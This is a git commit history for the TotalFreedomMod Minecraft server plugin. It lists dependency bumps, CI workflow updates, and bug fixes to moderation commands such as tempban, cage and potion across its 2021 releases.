Compare commits

..

620 Commits

Author SHA1 Message Date
e122c4c5fa Bump to 2021.09-RC01 Release 2021-09-19 17:32:05 +01:00
180cd81132 Bump junit-jupiter from 5.7.2 to 5.8.0 (#139)
Bumps [junit-jupiter](https://github.com/junit-team/junit5) from 5.7.2 to 5.8.0.
- [Release notes](https://github.com/junit-team/junit5/releases)
- [Commits](https://github.com/junit-team/junit5/compare/r5.7.2...r5.8.0)

---
updated-dependencies:
- dependency-name: org.junit.jupiter:junit-jupiter
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-13 09:58:54 +01:00
213a43380e Bump git-commit-id-plugin from 4.0.2 to 4.9.10 (#113)
Bumps git-commit-id-plugin from 4.0.2 to 4.9.10.

---
updated-dependencies:
- dependency-name: pl.project13.maven:git-commit-id-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-12 12:13:56 +01:00
8a31b4c5c0 Bump javassist from 3.27.0-GA to 3.28.0-GA (#110)
Bumps [javassist](https://github.com/jboss-javassist/javassist) from 3.27.0-GA to 3.28.0-GA.
- [Release notes](https://github.com/jboss-javassist/javassist/releases)
- [Commits](https://github.com/jboss-javassist/javassist/commits)

---
updated-dependencies:
- dependency-name: org.javassist:javassist
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-12 11:33:52 +01:00
0e12f5e792 Bump commons-lang3 from 3.11 to 3.12.0 (#111)
Bumps commons-lang3 from 3.11 to 3.12.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-lang3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-12 09:09:28 +01:00
aebe1acec2 Merge pull request #136 from AtlasMediaGroup/multiple-birds-one-stone
Multiple fixes, one commit
2021-09-12 01:57:32 -06:00
938b3aa630 Merge branch 'development' into multiple-birds-one-stone 2021-09-11 20:53:16 -06:00
6772333eb4 Bump junit-jupiter from 5.4.2 to 5.7.2 (#103)
Bumps [junit-jupiter](https://github.com/junit-team/junit5) from 5.4.2 to 5.7.2.
- [Release notes](https://github.com/junit-team/junit5/releases)
- [Commits](https://github.com/junit-team/junit5/compare/r5.4.2...r5.7.2)

---
updated-dependencies:
- dependency-name: org.junit.jupiter:junit-jupiter
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-12 00:10:47 +01:00
0204961834 Bump commons-io from 2.8.0 to 2.11.0 (#117)
Bumps commons-io from 2.8.0 to 2.11.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-11 23:53:41 +01:00
2f332a8c42 Bump annotations from 20.1.0 to 22.0.0 (#104)
Bumps [annotations](https://github.com/JetBrains/java-annotations) from 20.1.0 to 22.0.0.
- [Release notes](https://github.com/JetBrains/java-annotations/releases)
- [Changelog](https://github.com/JetBrains/java-annotations/blob/master/CHANGELOG.md)
- [Commits](https://github.com/JetBrains/java-annotations/compare/20.1.0...22.0.0)

---
updated-dependencies:
- dependency-name: org.jetbrains:annotations
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-11 18:48:33 +01:00
e288668c92 Bump maven-antrun-plugin from 1.8 to 3.0.0 (#102)
Bumps [maven-antrun-plugin](https://github.com/apache/maven-antrun-plugin) from 1.8 to 3.0.0.
- [Release notes](https://github.com/apache/maven-antrun-plugin/releases)
- [Commits](https://github.com/apache/maven-antrun-plugin/compare/maven-antrun-plugin-1.8...maven-antrun-plugin-3.0.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-antrun-plugin
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-11 18:42:31 +01:00
e50101df43 Merge branch 'development' into multiple-birds-one-stone 2021-09-11 15:24:52 +01:00
0a9b95bfce Move to new ATLAS Nexus (#138)
* Move to new ATLAS Nexus

Turns out jFrog is super expensive and 10GB of Bandwidth doesn't go far, this should make things a lot better :)

* Update pom.xml

* Update pom.xml
2021-09-11 01:19:08 +01:00
f00f075551 Merge branch 'development' into multiple-birds-one-stone 2021-09-06 14:38:42 -06:00
44ff621d73 Bump bstats-bukkit from 1.8 to 2.2.1 (#99)
Bumps [bstats-bukkit](https://github.com/Bastian/bStats-Metrics) from 1.8 to 2.2.1.
- [Release notes](https://github.com/Bastian/bStats-Metrics/releases)
- [Commits](https://github.com/Bastian/bStats-Metrics/commits/v2.2.1)

---
updated-dependencies:
- dependency-name: org.bstats:bstats-bukkit
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>

Resolves FS-419
2021-09-06 20:21:49 +01:00
032e54e2d4 Multiple birds, one commit
Here's a list of things I've fixed/mitigated:
- Range bans in ban-related commands (FS-209)
- Bug in /tempban where the duration in the broadcast is always wrong
- Over-complicated handling of /tempban durations (instead of trying to process them and silently fail, it'll flat out say that an invalid duration is well, invalid)
- Inconsistent "player not found" messages in banning commands
- (Mitigates) weird issue with case-sensitive usernames in banning commands when the server has restarted since a player last joined
- (Mitigates) banned IPs being inaccurate when a player was banned offline whilst containing multiple IPs in their playerdata
- Redoing how MovementValidator handled positive and negative infinity exploit items, completely removing the need for Mojangson in the first place and allowing the plugin to run without Essentials once more in the process (related to FS-406)

Here is what I've done in addition:
- Merged /tban and /noob into /tempban, which now bans for 5 minutes by default (FS-205)
2021-09-06 04:44:39 -06:00
54cb0cfac4 FS-409 (#124)
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-09-05 14:51:43 +01:00
23caa4e853 Dependency Fix & Improvements (#132)
* Upgrade Test

Going to see if switching to the new repo that went live 3 days ago and updating TFM to pull the latest version of Essentials is going to help things here. TFM is building locally so I haven't a fucking scooby doo why Github can't run the build because I've even tried dropping the M2 folder...

* Let's try again

Utter bullshit so far.

* Apparently we don't even use essentials...

No idea where the imports for EssentialsBridge are coming from...

* Various tweaks

Hopefully this might give some more joy, but if not it's removed a command I didn't want anyway and reduced our dependency tree.

I have also switched it to using the ATLAS Artafactory which will serve as an ongoing cache for dependencies and should start to speed up our Github builds as Maven is rubbish with many repo's.
2021-09-04 01:07:04 +01:00
4c3f188bb8 Bump actions/setup-java from 2.2.0 to 2.3.0 (#122)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 2.2.0 to 2.3.0.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v2.2.0...v2.3.0)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-08-29 20:08:43 +01:00
f380898bb7 yo remove my name (#123)
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-08-26 16:22:08 +01:00
464ed85f1b Update java16-maven.yml 2021-08-26 16:18:58 +01:00
7dd235b166 Update java11-maven.yml 2021-08-26 16:18:49 +01:00
f45466ee24 Create java16-maven.yml 2021-08-26 13:01:20 +01:00
d70b7bbec2 Split out Java 11 and Java 16 for faster runs 2021-08-26 13:00:19 +01:00
541c66c3de Bump codacy/codacy-analysis-cli-action from 1.1.0 to 4.0.0 (#101)
Bumps [codacy/codacy-analysis-cli-action](https://github.com/codacy/codacy-analysis-cli-action) from 1.1.0 to 4.0.0.
- [Release notes](https://github.com/codacy/codacy-analysis-cli-action/releases)
- [Commits](https://github.com/codacy/codacy-analysis-cli-action/compare/1.1.0...4.0.0)

---
updated-dependencies:
- dependency-name: codacy/codacy-analysis-cli-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-08-21 21:50:45 +01:00
d901cbaa81 Update pom.xml (#121)
* Update pom.xml

* Fix version from re-upload
2021-08-21 21:25:56 +01:00
538ed7020d Merge branch 'development' of https://github.com/AtlasMediaGroup/TotalFreedomMod into development 2021-08-21 15:36:32 +01:00
18e6ef16be Merge branch 'main' of https://github.com/AtlasMediaGroup/TotalFreedomMod into development 2021-08-21 15:36:26 +01:00
a335a2acf7 Bump maven-checkstyle-plugin from 3.1.1 to 3.1.2 (#114)
Bumps [maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.1.1 to 3.1.2.
- [Release notes](https://github.com/apache/maven-checkstyle-plugin/releases)
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.1.1...maven-checkstyle-plugin-3.1.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-08-21 15:21:18 +01:00
2eb6cc0036 Correct CoreProtect POM Version (#108)
Co-authored-by: Video <videogamesm12@gmail.com>
2021-08-18 23:45:56 +01:00
5322d8ab64 Fixing Github Actions (#107)
Hopefully this should now let us automatically down-sync from Main to Development
2021-08-18 23:45:34 +01:00
dccc315869 Bump actions/setup-java from 1.4.3 to 2.2.0 (#98)
* Bump actions/setup-java from 1.4.3 to 2.2.0

Bumps [actions/setup-java](https://github.com/actions/setup-java) from 1.4.3 to 2.2.0.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v1.4.3...v2.2.0)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

* Fix the breaking change the 2.x branch of the action added

There is a breaking change which Dependabot hasn't picked up on which causes this to not play ball. This should resolve said issue.

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Wild1145 <Wild1145@users.noreply.github.com>
2021-08-17 20:50:03 +01:00
7657ae1928 Fix Dependabot to target the right branch and open all PR (#106) 2021-08-17 19:28:14 +01:00
dcaf1ec11a Release 2021.06 (#97)
* Update Command_ride.java

* ok, done (FS-156)

* Fixes FS-137

* grammar fix

* Remove a number of wipe commands we don't want anyway

We shouldn't be wiping any of this data within the server now anyway so let's not tempt fate again.

* Why overcomplicating things is a horrifically bad idea (#55)

The longer I look into this plugin's code, the angrier I will become.

This fixes 2 bugs in the /potion command:
- Fixes non-admins being able to clear other players
- Fixes NPE caused when trying to add potion effects to players who are not on the server as a non-admin.

Both of these issues are caused by overcomplicating seemingly simple solutions, hence the name of this commit.

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>

* Bug fixes, improvements, and removals (FS-192) (#46)

* Three fixes

* Fixes /tempban throwing a NullPointerException when trying to get a player who isn't on the server but was in the past
* Fixes /tempban banning players for 24 hours regardless of the duration defined
* Fixes /list -t throwing a NullPointerException when performed from a non-player source (such as Telnet)

* Removes hubworld entriely

* Configurable blacklists for tag, muted commands, and wildcard

Changes:
* Moves globally blocked commands to the `global` subsection of the original `blocked_commands` section. You *will* need to update your configurations
* /wildcard's command blacklist is now configurable under the `wildcard` section in `blocked_commands`.
* The commands muted players can't use are now configurable under the `muted` section in `blocked_commands`.
* Removes some commented-out globally blocked command entries.

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>

* Switched from -c to -ci (#63)

Resolves FS-219

* Added new dependency to allow TFM to compile (#65)

* Name change for Fleek (#64)

* Add //g to blocked commands (#62)

Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>

* Small modification to new TFGuilds (FS-255) (#67)

* Calculate the player count without offline players (FS-247) (#68)

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>

* Use long instead of int and use offset to check time (FS-181) (#69)

* Use long instead of int and use offset to check time (FS-181)

* Remove star import

* Addresses FS-224 (#70)

* Continuation on that notes thing (#74)

I forgot to remove the dependency after I removed the code that used JSONMessage. This fixes that by removing both the repository and the dependency from the pom file.

* Updated permissions to re-baseline with the dev server (#75)

Updating this to be based off of the dev server as it seems this has not been updated in some time. Primary purpose is to add the crackshot bypass removal for everyone (Though allow admins to bypass) and to add a start of network manager perms in the hopes it makes it more usable going forward.

* Two fixes, one commit

To kill two birds with one stone, I've done two fixes in this commit.
- Fixes issue that caused quiet warns to behave improperly (e.g. the warnings wouldn't increment if quiet)
- Added WARN to the PunishmentType list.

* Update EntityWiper.java

* FS-27

* FS-26

* FS-25

* Code quality and consistency improvements

Here's all the changes I've made in this commit:
- Resolves FS-44 (AutoEject.java)
- Resolves FS-45 (BlockBlocker.java)
- Resolves FS-47 and FS-48 (InteractBlocker.java)
- Resolves FS-49 (Command_cage.java)
- Resolves FS-50 (Command_manageshop.java)
- Resolves FS-51 (Command_notes.java)
- Resolves FS-52 (Command_potion.java)
- Resolves FS-53 (Command_tag.java)
- Resolves FS-55 (ItemFun.java)
- Resolves FS-56 (Module_list.java)
- Resolves FS-57 (Module_players.java)
- Removes redundant code from InteractBlocker.java
- Misc. code consistency corrections (global)

* FS-54

* Shut up Codacy

* FS-201

* Simple fix

* Even more punishment log types

Here's what I've changed in this commit:
- Adds /blockcmd to the punishment log (FS-239)
- Adds /blockedit and /blockpvp to the punishment log (FS-240)
- Adds /cage to the punishment log (FS-241)
- Adds /orbit to the punishment log (FS-242)
- Changes the order of operations in some commands to be a bit more consistent

* Order of operations fix

* ez (#77)

* Start building Java 16 (#84)

* Start building Java 16

* Re-apply Fleek's change

* Removed the shitty Github auto formatted white space.

* Update to the maven build in Github workflows

Given TravisCI has started to charge, I guess this might be what we move back to using as our main way to verify if something can actually build.

* Update maven.yml

* Delete .travis.yml

* Adds /seed command (FS-225) (#85)

* Create Command_seed.java

* Addresses requested changes

* My IDE decided to try to "fix" things with *s in imports

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>

* Use 'getPlayer()' to prevent NPE (FS-159) (#87)

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>

* 2 bugfixes

- Fixes FS-309 by checking if a material provided is actually a block before caging someone.
- Fixes a bug that causes the command to throw an ArrayOutOfBoundsException if one were to use a command like `/cage player1 block`.

* Temporarily re-naming /clearchat to /cleanchat (#91)

* Temporarily re-naming /clearchat to /cleanchat

Due to another plugin which currently doesn't quite have all the permissions working, this command is not currently able to be executed as it stands.

* Shhh I know I'm an idiot

* Let's actually do dependency uplifts (#89)

* Bump release to 2021.06-RC01

* Bump to release version

We're good to go!

Co-authored-by: Video <videogamesm12@gmail.com>
Co-authored-by: Elmon11 <elmon11bussiness@gmail.com>
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
Co-authored-by: Paldiu <pawereus@gmail.com>
2021-08-15 01:06:21 +01:00
0582c2e5be Merge pull request #94 from AtlasMediaGroup/FS-381
Enables Lava Damage by default (FS-381)
2021-08-10 22:38:24 -06:00
101987cc17 Merge branch 'development' into FS-381 2021-08-10 17:34:03 +01:00
6874b2ce13 Fixes /setlevel by completely removing it (FS-82) (#95)
To quote Ryan:
> If /exp works (and we've said it has) then the scope of this ticket will be to just go remove the TFM command...

This does exactly that.
2021-08-10 17:33:48 +01:00
3be0ffba4e Merge branch 'development' into FS-381 2021-08-10 17:31:26 +01:00
c8a4382a7b Merge pull request #96 from AtlasMediaGroup/FS-218
Adds functionality for a one-time message to be sent to new players (FS-218)
2021-08-10 07:41:42 -06:00
3f89f3f48e Shut the fuck up Codacy 2021-08-10 06:58:04 -06:00
871acc2eeb Actually, let's make it possible to disable it if needed 2021-08-10 04:13:23 -06:00
a9c9979b1c FS-218 2021-08-10 04:06:41 -06:00
fc3fe871b3 FS-381 2021-08-05 00:43:01 -06:00
62529a6171 Merge branch 'main' of https://github.com/AtlasMediaGroup/TotalFreedomMod into development 2021-07-17 13:18:18 +01:00
0caf972248 Merge pull request #90 from AtlasMediaGroup/FS-309
2 bugfixes, one command (FS-309)
2021-07-16 09:05:57 -05:00
a37364d07e Correct JDK Version in README (#92)
It's currently wrong so needed updating.
2021-07-16 11:43:46 +01:00
4ac9844534 Merge branch 'development' into FS-309 2021-07-12 22:53:44 -06:00
939e98b759 Update badges (#88)
Remove TravisCI
Add Github Maven Build Action 
Add CodeQL Badge
2021-07-08 20:48:41 +01:00
d99f3e657b Let's actually do dependency uplifts (#89) 2021-07-08 20:48:27 +01:00
92bbb62379 Temporarily re-naming /clearchat to /cleanchat (#91)
* Temporarily re-naming /clearchat to /cleanchat

Due to another plugin which currently doesn't quite have all the permissions working, this command is not currently able to be executed as it stands.

* Shhh I know I'm an idiot
2021-07-05 23:29:22 +01:00
e4a0943af2 Merge branch 'development' into FS-309 2021-06-29 22:00:13 -06:00
36bd8c0fad 2 bugfixes
- Fixes FS-309 by checking if a material provided is actually a block before caging someone.
- Fixes a bug that causes the command to throw an ArrayOutOfBoundsException if one were to use a command like `/cage player1 block`.
2021-06-29 21:52:46 -06:00
d77f59435b Use 'getPlayer()' to prevent NPE (FS-159) (#87)
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-06-26 15:06:15 +01:00
a08fd2afb6 Adds /seed command (FS-225) (#85)
* Create Command_seed.java

* Addresses requested changes

* My IDE decided to try to "fix" things with *s in imports

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-06-26 14:25:08 +01:00
6fd075fe96 Start building Java 16 (#84)
* Start building Java 16

* Re-apply Fleek's change

* Removed the shitty Github auto formatted white space.

* Update to the maven build in Github workflows

Given TravisCI has started to charge, I guess this might be what we move back to using as our main way to verify if something can actually build.

* Update maven.yml

* Delete .travis.yml
2021-06-24 21:21:39 +01:00
f57fc56f4a Merge pull request #83 from AtlasMediaGroup/FS-239-to-FS-242
Logs even more punishment types (FS-239, FS-240, FS-241, FS-242)
2021-06-19 03:20:47 -06:00
a6ca6b122c Merge branch 'development' into FS-239-to-FS-242 2021-06-18 13:24:15 +01:00
064e73f58b ez (#77) 2021-06-18 13:16:52 +01:00
32138b2e59 Order of operations fix 2021-06-17 13:41:25 -06:00
e1c3bad4d0 Even more punishment log types
Here's what I've changed in this commit:
- Adds /blockcmd to the punishment log (FS-239)
- Adds /blockedit and /blockpvp to the punishment log (FS-240)
- Adds /cage to the punishment log (FS-241)
- Adds /orbit to the punishment log (FS-242)
- Changes the order of operations in some commands to be a bit more consistent
2021-06-17 06:56:52 -06:00
4e78027f0c Merge pull request #79 from AtlasMediaGroup/FS-307
Fixes the EntityWiper not toggling properly (FS-307)
2021-06-17 06:12:26 -06:00
721f4f9fc3 Merge branch 'development' into FS-307 2021-06-17 05:56:56 -06:00
24ad2611a9 Merge pull request #81 from AtlasMediaGroup/FS-201
Admins can now see commands of everyone, regardless of rank (FS-201)
2021-06-17 05:54:10 -06:00
c238f251f2 Merge branch 'development' into FS-201 2021-06-17 05:46:40 -06:00
02848e3439 Merge pull request #82 from AtlasMediaGroup/FS-199
Prevents entities of type PLAYER from being purged in /entitywipe (FS-199)
2021-06-17 05:46:28 -06:00
9550f54e2b Merge branch 'development' into FS-199 2021-06-17 05:37:30 -06:00
39dade78e3 Merge pull request #80 from AtlasMediaGroup/FS-24-Round-2
Code quality improvements (FS-24)
2021-06-17 05:35:55 -06:00
5b6d8b01a4 Merge branch 'development' into FS-24-Round-2 2021-06-17 05:25:42 -06:00
96bc83cead Merge pull request #78 from AtlasMediaGroup/FS-207
Two fixes, one commit (FS-207)
2021-06-17 04:58:26 -06:00
be700a90ce Simple fix 2021-06-16 22:42:45 -06:00
6d1fce1716 FS-201 2021-06-16 22:06:12 -06:00
d3665f31fe Shut up Codacy 2021-06-16 21:56:25 -06:00
4188cb80fa FS-54 2021-06-16 21:10:08 -06:00
62fe72d99b Code quality and consistency improvements
Here's all the changes I've made in this commit:
- Resolves FS-44 (AutoEject.java)
- Resolves FS-45 (BlockBlocker.java)
- Resolves FS-47 and FS-48 (InteractBlocker.java)
- Resolves FS-49 (Command_cage.java)
- Resolves FS-50 (Command_manageshop.java)
- Resolves FS-51 (Command_notes.java)
- Resolves FS-52 (Command_potion.java)
- Resolves FS-53 (Command_tag.java)
- Resolves FS-55 (ItemFun.java)
- Resolves FS-56 (Module_list.java)
- Resolves FS-57 (Module_players.java)
- Removes redundant code from InteractBlocker.java
- Misc. code consistency corrections (global)
2021-06-16 21:10:08 -06:00
f4749559d2 FS-25 2021-06-16 21:10:08 -06:00
ed815794ed FS-26 2021-06-16 21:10:08 -06:00
0c12a19d1d FS-27 2021-06-16 21:10:08 -06:00
96d47e8e0c Update EntityWiper.java 2021-06-16 17:47:09 -06:00
3027e2a18c Two fixes, one commit
To kill two birds with one stone, I've done two fixes in this commit.
- Fixes issue that caused quiet warns to behave improperly (e.g. the warnings wouldn't increment if quiet)
- Added WARN to the PunishmentType list.
2021-06-16 17:29:57 -06:00
06025b2e69 Updated permissions to re-baseline with the dev server (#75)
Updating this to be based off of the dev server as it seems this has not been updated in some time. Primary purpose is to add the crackshot bypass removal for everyone (Though allow admins to bypass) and to add a start of network manager perms in the hopes it makes it more usable going forward.
2021-06-13 19:51:27 +01:00
da7e8f64aa Continuation on that notes thing (#74)
I forgot to remove the dependency after I removed the code that used JSONMessage. This fixes that by removing both the repository and the dependency from the pom file.
2021-06-12 11:26:40 +01:00
17b051e2a7 Retired support for 2021.02 fully. (#72) 2021-06-07 16:26:15 +01:00
77a05f22a8 TotalFreedomMod May Update 2021-06-07 16:26:15 +01:00
5c3ef1f107 Bump version 2021-06-07 16:26:15 +01:00
53c5991971 Addresses FS-224 (#70) 2021-06-07 16:26:15 +01:00
ff760a6c11 Use long instead of int and use offset to check time (FS-181) (#69)
* Use long instead of int and use offset to check time (FS-181)

* Remove star import
2021-06-07 16:26:15 +01:00
63069ff9ec Calculate the player count without offline players (FS-247) (#68)
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-06-07 16:26:15 +01:00
5e63b71861 Small modification to new TFGuilds (FS-255) (#67) 2021-06-07 16:26:15 +01:00
b72782de4f Add //g to blocked commands (#62)
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2021-06-07 16:26:15 +01:00
de9556c550 Name change for Fleek (#64) 2021-06-07 16:26:15 +01:00
6590504545 Added new dependency to allow TFM to compile (#65) 2021-06-07 16:26:15 +01:00
8d1e8dcf05 Switched from -c to -ci (#63)
Resolves FS-219
2021-06-07 16:26:15 +01:00
07b5076717 Bug fixes, improvements, and removals (FS-192) (#46)
* Three fixes

* Fixes /tempban throwing a NullPointerException when trying to get a player who isn't on the server but was in the past
* Fixes /tempban banning players for 24 hours regardless of the duration defined
* Fixes /list -t throwing a NullPointerException when performed from a non-player source (such as Telnet)

* Removes hubworld entriely

* Configurable blacklists for tag, muted commands, and wildcard

Changes:
* Moves globally blocked commands to the `global` subsection of the original `blocked_commands` section. You *will* need to update your configurations
* /wildcard's command blacklist is now configurable under the `wildcard` section in `blocked_commands`.
* The commands muted players can't use are now configurable under the `muted` section in `blocked_commands`.
* Removes some commented-out globally blocked command entries.

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-06-07 16:26:15 +01:00
6fb9507a4c Why overcomplicating things is a horrifically bad idea (#55)
The longer I look into this plugin's code, the angrier I will become.

This fixes 2 bugs in the /potion command:
- Fixes non-admins being able to clear other players
- Fixes NPE caused when trying to add potion effects to players who are not on the server as a non-admin.

Both of these issues are caused by overcomplicating seemingly simple solutions, hence the name of this commit.

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2021-06-07 16:26:15 +01:00
879a524bb4 Remove a number of wipe commands we don't want anyway
We shouldn't be wiping any of this data within the server now anyway so let's not tempt fate again.
2021-06-07 16:26:15 +01:00
c60b451ce7 grammar fix 2021-06-07 16:26:15 +01:00
f85f3e32ea Fixes FS-137 2021-06-07 16:26:15 +01:00
57b3351047 ok, done (FS-156) 2021-06-07 16:26:15 +01:00
dd10eb3f5e Update Command_ride.java 2021-06-07 16:26:15 +01:00
a498104777 Merge branch 'main' of github.com:AtlasMediaGroup/TotalFreedomMod into development 2021-06-07 16:22:43 +01:00
4e577f97fa Enable downward Sync from main (#60)
We want to make sure anything on the main branch which is commited makes it's way down to the dev and other branches.
2021-05-28 15:22:07 +01:00
8c7bf365a0 Addresses FS-224 (#70) 2021-05-26 19:55:49 +10:00
eedb7a5375 Use long instead of int and use offset to check time (FS-181) (#69)
* Use long instead of int and use offset to check time (FS-181)

* Remove star import
2021-05-25 21:45:53 +10:00
d047cfc8ff Calculate the player count without offline players (FS-247) (#68)
Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-05-22 15:40:55 +01:00
9ff5da8d8f Small modification to new TFGuilds (FS-255) (#67) 2021-05-22 15:06:34 +01:00
ac615f54f7 Add //g to blocked commands (#62)
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2021-05-21 22:44:51 +01:00
21af722e23 Name change for Fleek (#64) 2021-05-17 20:31:34 +10:00
b1196fcf00 Added new dependency to allow TFM to compile (#65) 2021-05-17 06:50:09 +01:00
d170f6d323 Switched from -c to -ci (#63)
Resolves FS-219
2021-05-16 15:27:12 +01:00
9dd0298f56 Bug fixes, improvements, and removals (FS-192) (#46)
* Three fixes

* Fixes /tempban throwing a NullPointerException when trying to get a player who isn't on the server but was in the past
* Fixes /tempban banning players for 24 hours regardless of the duration defined
* Fixes /list -t throwing a NullPointerException when performed from a non-player source (such as Telnet)

* Removes hubworld entriely

* Configurable blacklists for tag, muted commands, and wildcard

Changes:
* Moves globally blocked commands to the `global` subsection of the original `blocked_commands` section. You *will* need to update your configurations
* /wildcard's command blacklist is now configurable under the `wildcard` section in `blocked_commands`.
* The commands muted players can't use are now configurable under the `muted` section in `blocked_commands`.
* Removes some commented-out globally blocked command entries.

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
2021-05-09 16:42:31 +01:00
bdf4ca84e0 Why overcomplicating things is a horrifically bad idea (#55)
The longer I look into this plugin's code, the angrier I will become.

This fixes 2 bugs in the /potion command:
- Fixes non-admins being able to clear other players
- Fixes NPE caused when trying to add potion effects to players who are not on the server as a non-admin.

Both of these issues are caused by overcomplicating seemingly simple solutions, hence the name of this commit.

Co-authored-by: Ryan <Wild1145@users.noreply.github.com>
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2021-05-04 13:31:55 +01:00
caaa067096 Update Security Matrix (#59)
* Update Security Matrix

Updating the full security matrix.

* Yay for consistency

* I hate Markdown / Markup / Whatever the fuck this is.
2021-05-04 13:30:17 +01:00
7258d7f1bf Merge pull request #58 from AtlasMediaGroup/FS-221
Remove a number of wipe commands we don't want anyway
2021-05-04 12:59:31 +01:00
8a504bff07 Merge branch 'development' into FS-221 2021-05-03 22:15:20 -06:00
c00e64f736 Merge pull request #54 from VideoGameSmash12/FS-137
Assistant executive discord integration (FS-137)
2021-05-03 20:14:35 +01:00
9e73db0f24 Merge branch 'development' into FS-137 2021-05-03 19:46:59 +01:00
951c061d77 Merge pull request #57 from AtlasMediaGroup/Elmon11-patch-2
grammar fix
2021-05-03 19:46:37 +01:00
579d3e0719 Merge branch 'development' into Elmon11-patch-2 2021-05-03 19:13:39 +01:00
9777733d04 Merge pull request #53 from VideoGameSmash12/ride-typo
Fixes typo in /ride
2021-05-03 19:13:26 +01:00
05e118dcb4 Merge branch 'development' into ride-typo 2021-05-03 18:21:16 +01:00
7a0d6f49f4 Merge pull request #52 from VideoGameSmash12/FS-156
Fixes typo in the Lightning Rod's name (FS-156)
2021-05-03 18:20:20 +01:00
19f1b7f6bd Merge branch 'development' into Elmon11-patch-2 2021-05-03 15:45:54 +01:00
b12afbdc1f Merge branch 'development' into FS-137 2021-05-03 15:45:45 +01:00
49e77d4f93 Merge branch 'development' into ride-typo 2021-05-03 15:45:36 +01:00
eb9107bedf Merge branch 'development' into FS-156 2021-05-03 15:45:25 +01:00
951c699ed0 Remove a number of wipe commands we don't want anyway
We shouldn't be wiping any of this data within the server now anyway so let's not tempt fate again.
2021-05-03 15:44:05 +01:00
9e676143b8 2021.04 Release
Formal Release for 2021.04
2021-05-03 15:19:42 +01:00
6895e46375 Merge branch 'development' into ride-typo 2021-05-02 14:15:15 +02:00
c8b20bc255 RC2 Release 2021-05-02 13:12:37 +01:00
1cf46c7337 grammar fix 2021-05-02 14:03:48 +02:00
f240a15af3 Force the count to be zero if the value is negative (FS-216) (#56) 2021-05-01 23:58:03 +10:00
6073712fdf Bump Version
Bump Version to 2021.04-RC01
